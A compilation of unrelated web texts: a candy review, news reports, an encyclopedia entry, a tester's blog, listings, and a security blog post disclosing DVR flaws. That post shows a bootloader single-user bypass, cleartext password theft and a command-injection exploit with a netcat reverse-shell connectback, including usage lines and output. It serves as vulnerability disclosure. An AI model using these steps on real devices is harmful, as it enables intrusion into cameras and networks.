text:
As promised, here's a timely review of Haribo Maoam Stripes. If you missed it, they're currently under scrutiny having inappropriate wrappers.
I first came across the Maoam Stripes last summer in Cambridge, England, and I was fortunate enough to get a second dose from my residential college's associate master. She got them via a Swedish friend and was kind enough to think of me and share.
Table of Contents
What Maoam Stripes look like:
Maoam Stripes are a soft, chewy taffy. They come in five flavors: orange, lemon, cherry, strawberry, and raspberry. The Maoam from England were thin, rectangular sticks, while the Swedish Maoam were blockier rectangles.
All the Maoam were a creamy, pale off-white. They may have vaguely been tinged the color of their fruit flavors, but it's also highly likely that that was purely the power of suggestion.
They have a smooth chew that's round and clean, with a pleasantly glossy mouthfeel.
Maoam Stripes flavors:
Orange was sweet, with just a bit of citrus flavor. It was bright and fruity without being tart.
Lemon was similar to orange, but it tasted a bit brighter and just a bit more tart. It also carried a slightly bitter zesty note that made the fruit flavor feel more genuine (though its strident sweetness definitely made it clear that it was candy).
Cherry had a deep, dark cherry flavor. It carried a tinge of bitter cherry tannins, in a good way. Again, this helped make it feel more true to the fruit that it was emulating.
Strawberry was bright and florally sweet. I usually find strawberry candy uninspiring, but this was actually enjoyable – if still not quite inspiring.
Finally, raspberry. I was afraid of this one, as I dislike most raspberry candies (and don't really like fresh raspberries all that much, though they're great in berry sangria). I needn't have worried. The raspberry Maoam was surprisingly pleasant. There was no seedy bitter bite to it, so I didn't really identify it as raspberry flavored. Instead, it occupied a portion of the flavor spectrum between cherry and strawberry.
The conclusion?
I really enjoyed the Maoam Stripes taffy. The texture is great, the flavors are bright and cheerful, and they're incredibly addictive. They're like the European version of Starburst, only oodles better. An OMG.


text:
OSO — Former Snohomish County sheriff's sergeant Tom Pszonka just knew.
He saw a photograph of a mile-wide scar on the earth covering the riverside neighborhood where his daughter had been building a life with the man she loved.
"I saw that there was nothing left. No trees. The dirt. I knew," the Marysville man said Saturday.
He wanted to hope that Katie Ruthven, 34, his son-in-law Shane, 43, and his grandsons Hunter, 6, and Wyatt, 4, had somehow lived when a wall of mud thundered down on their home along E. Steelhead Drive.
But he'd spent a lifetime prior to retirement working as a cop in this place. He knew evidence speaks loudest.
Pszonka drove to the incident command post. He took in a press conference where details were shared about the frantic efforts being made to find survivors in the hours after the March 22 slide.
When it was over, he walked up to Sheriff Ty Trenary, his former colleague.
"I said, "Give it to me straight. Tell me what is happening out there," Pszonka recalled. "He said, 'There is nothing left where your family was.'"
Pszonka on Friday got word that his son-in-law's body had been found near where the home had stood along the North Fork Stillaguamish River. He also was told that Shane's stepfather, Lou Vandenburg, had been found. The retired state Department of Corrections worker and his wife, JuDee, had moved from Spokane and lived in an RV next door to be near the grandkids.
Pszonka said there has been no word about his daughter or the others. His grandsons had just got a new puppy. He believes the boys likely were playing with their dog outside when the hillside fell.
He spoke Saturday because he wanted people to know how proud he was of his girl and the beautiful life she'd found at the river's edge.
One of four children raised with his wife, Karen, the retired deputy said Katie thought she'd become a doctor. She initially studied pre-med at the University of Washington, then switched her focus to law.
She took a job as a paralegal for Russ Juckett, a longtime Everett attorney and former county prosecutor. She talked about pursuing a career in law enforcement, maybe something with the FBI.
"But it was never really there," Pszonka said. "What she wanted was family."
She met Shane Ruthven online. They struck up a relationship that blossomed into love.
Pszonka said he wasn't particularly thrilled. For one thing, he was a few years older than she. Then he got to know the guy.
"He became my best friend," Pszonka said. They had so much in common, people would sometimes joke that his daughter had found a man just like her dad.
"Luckily, he was better looking," he said.
The couple wed in 2007. The year before, they bought a little place on East Steelhead Drive. The house had been there since 1975.
The couple started a small business, Mountain Lion Glass. They prospered, landing contracts to replace windows in buildings and condos. They were close to owning their home free and clear. There was a little left over to buy vacation property at Ocean Shores, a place where the family could spend even more time together.
Shane was a great dad, Pszonka said. He taught the boys how to ride motorcycles and four-wheelers. There were hours spent relaxing along the river and teaching the boys how to shoot.
"The American dream, I'm telling you," Pszonka said. "You got your love story. You got your kids, happy and free out in the woods."
And then it was all gone.
"I'm struggling to get my head around it," Pszonka said.
Scott North, 425-339-3431, email@example.com.
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subset: commoncrawl


text:
- Harpers Ferry
/hahr"peuhrz/a town in NE West Virginia at the confluence of the Shenandoah and Potomac rivers: site of John Brown's raid 1859. 361.Also, Harper's Ferry.
* * *
town, Jefferson county, in the eastern panhandle of West Virginia (West Virginia), U.S., at the confluence of the Shenandoah and Potomac (Potomac River) rivers, in the Blue Ridge Mountains (Blue Ridge) where West Virginia, Virginia, and Maryland converge. When the town was part of Virginia, it was the site of the Harpers Ferry Raid, one of the major incidents precipitating the American Civil War, and of several battles of the war.The town was settled in 1734 by Robert Harper, who established a ferry across the Potomac and a grist mill on the Shenandoah. The site was selected by President George Washington (Washington, George) for a federal armoury because of its waterpower potential and was purchased from Harper's heirs in 1796. The town developed as an important U.S. arsenal and centre for the manufacture of rifles. In the 1830s the arrival of the Baltimore and Ohio Railroad and the Chesapeake and Ohio Canal turned the town into a commercial hub for a time.On October 16–18, 1859, the arsenal of Harpers Ferry was the target of an assault by an armed band of abolitionists (abolitionism) led by John Brown (Brown, John). The raid was intended to be the first stage in an elaborate plan to establish an independent stronghold of freed slaves in the mountains of Maryland and Virginia—an enterprise that had won moral and financial support from several prominent Bostonians. Choosing Harpers Ferry because of its arsenal and its location as a convenient gateway to the South, Brown and his band of 16 whites and 5 blacks seized the armoury on the night of October 16. The entire countryside was quickly alerted, and combined state and federal troops overwhelmed the raiders in two days. Seventeen men died in the fighting, including two of Brown's own sons; Brown and six surviving followers, after being tried at Charles Town, were hanged before the end of the year. Although the raid on Harpers Ferry was denounced by a majority of Northerners, it outraged Southern slaveholders (slavery), who were already fearful of slave insurrections, and convinced them that abolitionists would stop at nothing to eradicate their "peculiar institution."Once the war (American Civil War) began Harpers Ferry served as an important link in the defense of Washington, D.C. (Washington), and was repeatedly attacked by both Union and Confederate armies. The most notable battle occurred when Confederates under General Thomas J. "Stonewall" Jackson (Jackson, Thomas Jonathan) captured the town (September 13–15, 1862) and took more than 12,500 prisoners, the largest Union surrender in the war.In 1869 Storer College opened there as a coeducational, multiethnic institution. The college was chosen in 1906 by W.E.B. Du Bois (Du Bois, W.E.B.) as one of the sites for the annual meetings of the Niagara Movement, which was a precursor of the National Association for the Advancement of Colored People (1909). Storer College closed in 1955.Harpers Ferry is now a quiet residential village and is the headquarters of a resort area that includes Harpers Ferry National Historic Park. The park, with an area of about 3.5 square miles (9 square km), is situated in Maryland, Virginia, and West Virginia. It was authorized as a national monument in 1944 and redesignated as a national historic park in 1963. It contains museums, monuments, and historic buildings associated with the raid, the Civil War, and other aspects of the region's history. Inc. 1763. Pop. (1990) 308; (2000) 307.* * *
Universalium. 2010.


text:
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Stop a war with love.
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text:
Story highlights
NEW: Opposition suspending participation in national dialogue, party official says
Bahrain's Public Prosecution Office says Khalil Al Marzooq is affiliated with a terrorist group
Activists say charges are politically motivated, country's leaders want to stifle dissent
Al Marzooq was arrested after being interrogated about a speech he delivered last week
A leading opposition figure in Bahrain has been jailed after being charged with "inciting and advocating terrorism," Bahrain's Public Prosecution Office said. Activists in the tiny Persian Gulf kingdom, however, insist the charges against Khalil Al Marzooq are politically motivated and accuse the country's leadership of attempting to stifle dissent.
Al Marzooq, secretary general of Al-Wefaq, the main Shia opposition party, was arrested Tuesday after being interrogated about a speech he delivered last week. According to BNA, Bahrain's official news agency, he was summoned to a police station, questioned and then referred to the Public Prosecution Office.
In a statement, the office accused Al Marzooq of being "affiliated with the terrorist organization" and added that he had been "speaking at many forums, inciting and promoting terrorist acts, advocating principles which incite such acts, supporting violence committed by the terrorist coalition, and legally justifying criminal activities."
Taher Al-Mosawi, the head of Al-Wefaq's media center, says that Al Marzooq did not incite violence and that Bahrain opposition parties are suspending participation in national dialogue.
Al-Wefaq called the government's actions in regard to Al Marzooq "reckless" and "a clear targeting of political action in Bahrain." The party added in a statement that it believes his detention is, in part, a reaction to a European Parliament resolution passed last week regarding the human rights situation in Bahrain.
On a mission: Oppression in Bahrain
That resolution called for "the respect of human rights and fundamental freedoms in Bahrain" and urged Bahraini authorities "to immediately end all acts of repression, release all prisoners of conscience, and respect the rights of juveniles."
European Parliament member Marietje Schaake told CNN that "the lack of progress in terms of dialogue and reforms towards the rule of law and respect for human rights in Bahrain continue to be of great concern to the European Parliament."
Schaake spearheaded the effort to get the resolution passed. "For the sake of the well-being of all people in Bahrain," she said, "and for the future of the country, the crackdown on peaceful demonstrations must end. The blanket ban on assembly in Manama is not helping reconciliation, either."
Bahraini opposition activists say that Al Marzooq's arrest is just the latest in a country where many prominent dissidents have been jailed in the past two years and that it only underscores how tense the situation remains in Bahrain.
Bahrain's government responds to activist's claims
In February 2011, at the height of the Arab Spring, Bahraini citizens, spurred by successful uprisings in Tunisia and Egypt, demanded democratic reforms and other changes in the way the country was run.
Anger from the majority Shiite population was directed at the ruling Sunni minority.
But Bahrain's uprising failed to gain the traction of other regional revolutions after a crackdown by authorities in the tiny island state, backed by troops from nearby Saudi Arabia and the United Arab Emirates.
Demonstrators say authorities killed dozens of people and arrested, tortured and imprisoned hundreds of others. Opposition leaders have tried to keep the protest movement alive.
READ: Bahrain's Silent Spring: What happened to the 'Pearl revolution'?


text:
"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.
I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.
Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 singleThis change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Script can be found here.
After owning the device at the "application" level, I figured it was time to go deeper.
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
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text:
SAN FRANCISCO (AP) — Alexi Amarista drove in three runs on three hits and San Diego handed the stumbling San Francisco Giants their 12th loss in the past 15 games, 7-2 Tuesday night.
Will Venable drove in two runs and Jesse Hahn (3-1) earned his third straight victory for the Padres, who won their fifth in the last seven games.
Tim Hudson (7-4) lost for the first time at home this season, allowing six runs — four earned — on nine hits over 5 2/3 innings. He walked two and struck out four.
Hudson has allowed a combined 13 runs over his last two starts after giving up 19 over his first 13. Hudson was 6-0 in his first 11 starts against San Diego and has since lost three of four.
Hahn allowed his first earned run in 18 innings when Pablo Sandoval scurried home on Tyler Corbin's infield groundout in the fifth. He allowed two runs on four hits over six innings. Hahn walked one and struck out a season-high eight.
Hahn retired the first 12 hitters before giving up back-to-back singles to Sandoval and Michael Morse opening the fifth.
Amarista, 1 for 9 against Hudson entering the game, was hitless in his eight previous at bats, though he's 9 for 25 (.360) in his last eight games.
Cameron Maybin added two hits and drove in a run for the Padres.
Hudson got three double plays in the first four innings before a fifth-inning error on rookie Joe Panik, his second of the game, helped the Padres score twice to open a 3-0 lead.
Jake Gobbert, in his first start since being recalled Thursday, singled and Maybin was safe on Panik's miscue. Amarista doubled in a run and Venable, who hit a sacrifice fly in the third, drove in a run on a groundout.
Amarista singled home a pair of runs and Maybin delivered an RBI single. Tommy Medica added a pinch-hit home run, the first of his career, with two outs in the eighth.
Buster Posey doubled home a run in the bottom of the sixth to make it 6-2.
NOTES: Padres RHP Andrew Cashner, on the DL with a sore shoulder, is expected to play catch on Friday in San Diego. The Padres lost a seventh-inning review on Brandon Crawford's infield single. The review lasted 2:09. RHP Ian Kennedy (5-8, 3.90) starts Wednesday's series finale for the Padres. He's 7-3 with a 2.49 ERA in 18 starts against the Giants. . RHP Tim Lincecum (5-5, 4.90) makes the start for the Giants. He's 14-6 with a 2.47 ERA in 27 career starts against the Padres. . Giants IF Brandon Belt (broken left thumb) ran the bases and will likely start his rehab assignment Thursday with the San Jose Giants. Giants OF Angel Pagan (back tightness) took batting practice and was to be re-evaluated to determine whether he would be in the lineup or put on the DL. He's missed eight straight games.
Hudson drops 1st game at home


text:
About The Book
Formerly the Handbook of Behavior Problems of the Dog and Cat, the new edition of the definitive guide to the diagnosis and treatment of behavior problems of the dog and cat has been extensively updated. It retains the highly practical approach that has proved so successful in previous editions, offering diagnostic guidelines, preventative advice, treatment guidelines and charts, case examples, client forms and handouts, and product and resource suggestions along with details on the use of drugs and natural supplements to help optimize the behavior services offered in practice. To add to these features, the third edition is now fully referenced, there is significant new content, the book as been written with the entire hospital team in mind, and many color images have been added. The new edition welcomes a wide international mix of new contributors from Australia, Spain, Mexico and the United States. A website link gives access to the handouts and forms previously found on disk. As well as fulfilling its original purpose as a practical tool for the busy clinician, this edition offers valuable and useful support material for all those studying the field of companion animal behavior. Now in full color and using a revised format, Behavior Problems of the Dog and Cat remains the most complete, up-to-date and practical resource for the treating and diagnosing canine and feline behavior problems.


text:
Aaliyah's music was surely what she was known for, but her trendsetting style was hard to ignore. No singer was able to strike a balance between two opposites quite like she could. She was all-woman while dressed fully in men's attire. She was cute with a clean-cut image, but sexy and always sophisticated. Her fashion sense matured with her music, but we can't forget those few trademark looks she wore so well (and that we tried to emulate).
Ten years ago today, Aaliyah died in a tragic plane crash. Today we honor her effortless style:
1. Side-swept bangs. Aaliyah's hair, long and layered, was one of her most prominent features, and rarely was she seen without her bangs in place. Swept across the side of her face, she gave us just a peak of her eyes. Female fans copied the beloved style as best they could.
2. Sunglasses. As she got older, her shyness faltered, and the shades came off, but for years – from the era of "Back N Forth" to the days of "One in a Million," Aaliyah kept a pair of sunglasses on standby. The accessory only contributed to her being the epitome of cool.
3. Baggy Jeans. Aaliyah proved that boxers and baggy jeans were not just for rappers and thugs. She donned her denim just like the rest of the them, if not better. Low and slung below her waist, Aaliyah proved that she could run with the boys, but still be a lady.
4. Midriff-Baring. Seeing the singer with a full-length shirt on was a rarity. Bikini-style tops, and those that hit just above the belly-button were her preference from red carpets to music videos. With a flat stomach and trim waist, we couldn't blame her, and we didn't mind.
5. Bandana. No amount of cloth, bejeweled or not, could distract us from Aaliyah's cascading locks, but she rocked a bandana, just as casually and comfortably as us non-celebrities would.
Check out Aaliyah's fashion transformation over the years:
Ginuwine: "Aaliyah & Beyonce Would Be Neck & Neck Today," Do You Agree?


text:
I have a reputation and credibility in this industry to an extent that some people inside and outside of the country have at least heard my name, if not for my skills. I have a brand of my own. I have a style of my own. I call myself with cool names. I sound like a geek. I speak like an American. I pretend to be good at something. I brag. I blog. I podcast. I publish videos of my testing. I oppose certain things. I do so many other things that increases the visibility about me or my work to the world.
You should know why I do all these:
- To help myself be a better tester.
- To help the testing community in whatever way I can.
- To earn a living.
Some testers whom I coach / inspire appear to have mistaken some of the things I do as THE way to go about building their reputation and credibility. Ever since I am discovering that people are falling to a trap of trying to ape me, I feel bad of having a reputation and credibility.
Not that I didnt try doing things the way people who inspired me were doing. I tried aping almost everything they did. However, I did something to go beyond aping what they appeared to be doing.
It is a known fact that my life as a tester took turns when I discovered James Bach and then Michael Bolton. For me, these people were Gods of testing. You should visit my room, I have photos of James, Michael & Jerry enlarged and framed on the wall. That is just a minutest example of how much they mean to me.
While they didn't make a parrot out of me who repeats after them, there was a little parrot sitting in me, trying to ape the things they do. It is human nature, I guess, to try ape your hero. Be it Rajinikanth or Upendra or Michael Bolton. I felt good about myself whenever I tried aping them. Why do we ape people? To feel good and proud at least for a short while.
Lesson 1:
Mimicry is one of my hobbies. A couple of years back, I was trying to practice the way James Bach & Michael Bolton speak. I did that so much that, I am now caught up in an accent that people think is half American and half Indian. Some people think I am faking my accent. I don't know, it has so happened that whenever I speak English, I start sounding like an American. So, be careful, your nature could be altered if you are trying to ape someone and it sounds or appears plastic to many if your nature is altered.
When you are trying to be like someone as bad as me, you will become a mutation of a mutation. That's not good for you.
Lesson 2:
Just after being done with 2 exercises that James put me on, I claimed to be a Rapid Tester on my blog. Some of my readers to whom all this was the western thing, even appeared to believe it. James had something different to say, "Are you a Rapid tester?" with a big laughter. I think it was the best joke he had heard for that year. He knew I was not yet a Rapid Tester although I thought with just little appreciation from him, I had almost become a Rapid Tester. For someone who was bored of calling himself as a "Test Engineer", Rapid Tester sounded cool and refreshing. Thankfully, I can make the claim today and live up to half their expectations.
So, when you make a claim about yourself or your testing skill, be careful to check and test it out by asking others, especially those who would find bugs in it.
Plus, when your hero appreciates you, don't fly for long and go out of reach. Respond to calls from gravity.
Lesson 3
Inspired by the way Jerry Weinberg writes, I tried aping the style. The easiest thing to ape in anyone's writing is a comma or a full stop. I was successful and here is one of my old post for your evaluation. There are 77 commas in that post. I was a comma addict.
I pestered Michael Bolton more than anyone else to help me better my writing skills. So he used to say, "Pradeep, don't, write, like, this" and I used to cry like a small baby. Michael used to offer me a philosophical explanation to why I cry. Miss those times :)
You could be thinking that you are aping the way your hero does his work but without knowing you are committing a blunder of a lifetime.
Lesson 4:
I used to assume that James was aggressive when he spoke against test cases and tried aping the aggression in similar contexts. I thought if I were to be respected as an exploratory tester, I had to oppose test cases. So, during my first stint as a consultant, I was roaming around the streets of Bangalore seeking business opportunities and knocked several company doors posing to be an expert tester. None of them were bothered about what I said.
One company invited me inside and started interviewing me. Turns out that they had an urgent need of a tester to replace the one who had quit. I stopped the interview process and explained to them that I was an independent consultant and what it means. A test manager there giggled for a while and said, "Even to learn our product it would take you three months and you are suggesting you can work on a hourly basis / daily basis with us". So, I challenged them that I would find bugs in one hour in their product that is outside of what their test team might have found. So, they gave me a machine, their product loaded on to it and an one hour to produce a report. I fished out 22 bugs in that hour + a spelling mistake free report. I don't know, it wasn't shocking to me about the outcome but they were definitely surprised and excited to see so many bugs in one hour. I was called in to the Vice President and he told me, "You seem to have great test ideas. Can you write us help all these ideas as test cases? We will pay you 1.5 lakhs a month" and I walked away from their office silently but with aggression at heart saying "What? Pradeep & writing test cases? You know what, he is an exploratory tester, a rapid tester, such a unique thing for India and they are insulting him".
Years later, when I think about it, I feel, I lost a potential business opportunity and most importantly, I didn't help someone who needed it. They might have just needed my test ideas and they might have referred to it as "test cases". On just working for an hour, if they wanted to pay me that much, maybe when I worked for a month, they'd allow me to coach their testers and help create some good testers for that organization. I lost all of it.
I still oppose the idea of scripted testing. I teach exploratory testing. I am a Rapid Tester. However, today, if someone wants me to help them solve their testing problems - I forget all my ego and aggression and try to be in best service of the client. My work shall do most of the speaking. I shall help my clients understand why test cases would make their testers bad instead of walking away saying, "Ah! Pradeep & writing test cases?"
Having a guru is very important but it is equally important that you don't ape your guru forever.
I used to dream "When will I become James Bach?", "When will I become like Michael Bolton?" to which they taught me to be myself. That's their beauty!My LinkedIn profile reads, "Pradeep Soundararajan, a tester with experience of 7 million 4 hundred mistakes in testing" and it would mean nothing if I cant test as good as you who might not have a cool fancy title for yourself. So, don't get carried away with things I do.
You are what your skills are.


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Horse flies putting a dent in your enjoyment of your patio and fruit flies taking over your kitchen were as annoying decades ago as they are today. Use these vintage plans to build a premium and extremely effective fly trap.
Apartment Therapy writer Leah Moss was on vacation in Ecuador when she came across the Terminator of fly traps. She writes:
I came across this contraption at a horse farm in Ecuador where the flies are nearly as abundant as the wild flowers. That mountain at the bottom of the cage is the fly accumulation in one week! Thankfully, our own fly problem is not quite so pronounced in DC, but the pesky little things have still been known to ruin many a good outdoor meal, making this simple trap all the more attractive.
The bait (in this case, "dog manure", but you could use something less offensive like composting scraps) in the trap attracts flies in through the bottom, leading them up through the screen cone and into the cage. Since flies only fly up, they don't know how to escape through the cone-shaped screen through which they entered. And voila!
As she notes you may not have a fly problem so bad that requires building a mini-fridge sized prison for your local fly population but don't worry. The site where she found plans to build her own fly trap have several variations including the huge one in the photo, a smaller one roughly the size of a paint can, and a mini-model designed to capture fruit flies in your kitchen. Check out the link below for all the vintage plans.
DIY Vintage Fly Trap [Community Chest via Apartment Therapy]


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Saree Description: The stunning piece of artwork depicting the entire story highlighting the soura art on a pure silk dupatta. An intricately soura paintings are painted on this dupatta. Give yourself that distinct look by wearing this wonderful pattachitra dupatta on the special occasion to bring the wow factor on yourself!!
Work Detail: Pattachitra is traditional hand painting of Odisha, India. All colours used in the paintings are natural and paintings are made up of the fully old traditional way of Odisha which is fascinating and most of the art depicts Hindu mythological story.
- Product Type: Hand Painted Dupatta
- Colour: Cream
- Fabric: Silk
- Theme: Pattachitra Painting
- Length: 2.5 Mtrs
- Wash Care : Dry Wash


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Can corporate profits continue to power the market?
With stocks trading near all-time highs, that's the big question on investors' minds as second quarter earnings season gets underway Tuesday.
"We're at the point in the cycle where earnings have to come through," says Jim Russell, Senior Equities Strategist for U.S. Bank Wealth Management. "This is a little bit of a nail biter to justify and rationalize where the markets are right now."
Second quarter earnings are expected to grow 4.9% compared to the same period last year, though that estimate is down from the 6.8% prediction at the start of the quarter, according to data from FactSet.
And with the S&P 500 already up 7% this year, Russell believes corporate America needs to show Wall Street that it made real progress in the spring and indicate that the third quarter is off to a good start.
"The expectations are higher and things need to continue to go well," he says, adding that if earnings are weak, "That's going to be a problem."
Related: Don't ditch your U.S. stocks just yet
At the same time, some investors have become concerned that the aggressive cost-cutting tactics that companies have championed to fuel profits in recent years may have run their course. The only way to allay those fears is to actually grow revenues.
To that end, FactSet expects that corporate revenues grew 2.7% in the second quarter, but that's lower than the 3.5% it forecast at the start of the period.
"There's this creeping consensus that eventually profit margins are going to end up contracting," says Jeff Weniger, a Chicago-based fund manager at BMO Asset Management, which oversees $130 billion.
Weniger doesn't think that revenues will disappoint this time. "We think the revenue is going to be there," he says. "It's a catalyst for markets to be surprised."
While it's true that earnings forecasts for the second quarter are below their original estimates, strong data towards the end of quarter, including last month's jobs report showing that 288,000 jobs were added in June, has lifted the market's optimism.
Related: How a librarian taught herself to invest and retired early
And of course the Fed is still a major factor in the market. Investors are trying to gauge when the central bank will actually raise interest rates, and regardless of earnings, any signs of a rate increase earlier than expected could derail the market.
Stocks aren't particularly cheap. The S&P 500 is trading at roughly 15.7 this year's earnings, which is above its 10-year average of 13.8.
At the sector level, investors will be keeping a close eye on consumer "discretionary" stocks, more commonly known as retailers, which are expected to shine this earnings season. After a tough first quarter when many stores blamed harsh winter weather for their dismal performance, there's a sense that Americans are spending again, buoyed by better employment, a robust real estate market, and rising stock prices.
"For the first time in a while, we're having a consumer that might find some semblance of health," Weniger claims. "People are going out to restaurants again, switching jobs."
Related: Autopsy of America: Photos of dead shopping malls
But regardless of how second quarter company results shape up, Weniger doesn't think they have the potential to move the needle in the market in a significant way, since investors have already priced in expected earnings growth.
"There's no crazy giddiness, there's no inordinate pessimism. We've got a nice little bull market on our hands and I don't see any reason to fight it," he says.


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As a university student, Rabia Kedhr was accommodated, but she wasn't always included. And that's something higher education needs to change, she says.
In a May 14 speech in Brock's Sankey Chamber, the well-known accessibility advocate recalled, as a blind student, having to study alone in a room in the library. There was equipment to accommodate her, she said, but she was excluded from the normal study tips, gossip and other student bonding.
"No one knew why Rabia went back to the secret room in the library," she said. "While the rest of them went to study hall, I missed out on building those relationships. It excludes you from the norm."
Kedhr's talk was sponsored by the Office of Human Rights and Equity Services and the University Accessibility Co-ordinator. She recalled an Economics professor who told her that, because of her blindness, "My style won't work for you." In the end, she managed to demonstrate to the university that her poor grade wasn't because of her ability to learn, but because she wasn't accommodated.
She only knew about social events from her friends, she said. The events were mainly promoted through print advertisements, which weren't accessible to her.
These are examples of struggles students with disabilities face every day. The province's Accessibility for Ontarians with Disabilities Act is part of creating a more accessible world, she said.
"Equality in the context of disability means we have to create campus conditions that serve all of us," she said. "We have to accept that people with disabilities and people without disabilities are, in fact, the same. We have to start from that common ground of belonging."
Kedhr is a consultant with DiversityworX, specializing in accessibility and social inclusion. She has more than 15 years of personal and professional experience in accessibility, community development and outreach with persons with disabilities.
Future decisions on accessibility need to include people with disabilities, she said. And each organization needs "internal champions" who will fight for it.
"In doing so, you contribute to the ultimate quality of life of every student," she said. "Education is the true foundation of peace and prosperity. It's the bedrock of any civilized society. We have a moral obligation to make it accessible."
• University Accessibility Planning — Removing Barriers | Brock University
• Human Rights | Brock University


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Sleeps 2-4, Max Occupancy: 6
River House is a newer vacation cabin, with 1 bedroom and sleeping loft, near the banks of the Methow River in the Lost River area 7 miles northwest of Mazama. Enjoy breathtaking views of Last Chance Point and Driveway Butte.
Whether you plan to cross-country ski, snowshoe, hike, or just relax on the river's edge, the River House offers a wonderful place to come back to after an active day. A seasonal river channel is only steps away from your backdoor -- a few steps further and you can play in the year-round Methow River.
Lodging accommodations and amenities include two queen beds (one in bedroom, one in sleeping loft), gas fireplace, fully-equipped kitchen(tea&coffee supplies provided) , small sleeper sofa in living room, lots of windows, deck on a seasonal river channel with beautiful views, picnic table, propane BBQ, and park benches, hi speed internet,nationwide calling plan if needed and washer/dryer all in a nicely treed setting.
Please note that parking is not large enough for snowmobile trailers.


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NEW ORLEANS – Kentucky's Anthony Davis has been selected the Most Outstanding Player at the Final Four after dominating defensively in Monday night's NCAA championship game.
The freshman forward had a rough night on offense, scoring six points on 1-of-10 shooting. He made up for it with defense, tying a championship game record with six blocked shots and altering several others in Kentucky's 67-59 win over Kansas.
Davis, who set an NCAA freshman record with 186 blocked shots, helped Kentucky hold the Jayhawks to 35 percent shooting. He also had 16 rebounds, five assists and three steals in leading Kentucky to its eighth national title and first since 1998.
He was joined on the all-tournament team by teammates Michael Kidd-Gilchrist and Doron Lamb, along with Kansas' Thomas Robinson and Tyshawn Taylor.


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THURSDAY, May 20, 2021 (HealthDay News) -- Family history, race and sex are among the factors that increase a child's risk of asthma, a new study shows.
"These findings help us to better understand what groups of children are most susceptible to asthma early in life," said study co-author Christine Cole Johnson, chair of public health sciences at Henry Ford Health System in Detroit.
"We can now use this information to develop interventions for those children at highest risk," Johnson added in a Henry Ford news release.
Researchers analyzed data from more than 12,000 children who were born in the United States and Puerto Rico between 1980 and 2014 and followed at least until they turned 5.
Fifty-one percent were boys and 49% were girls, while 52% were white and 23% were black.
Rates of asthma were two to three times higher in children who had at least one parent with a history of asthma, mostly through age 4, than in other children.
Children with a family history of asthma had a two-fold higher risk of asthma at age 4 through age 14 compared to those without a family history.
At younger ages, boys with a family history of asthma had higher rates of asthma than girls. But by age 14, their rates were about the same. Black children had the highest rates of asthma regardless of a family history.
However, while asthma rates in Black children were much higher than white children during their preschool years, the rates fell in Black children after age 9, but increased for white children later in childhood.
The study was published May 17 in the journal JAMA Pediatrics.
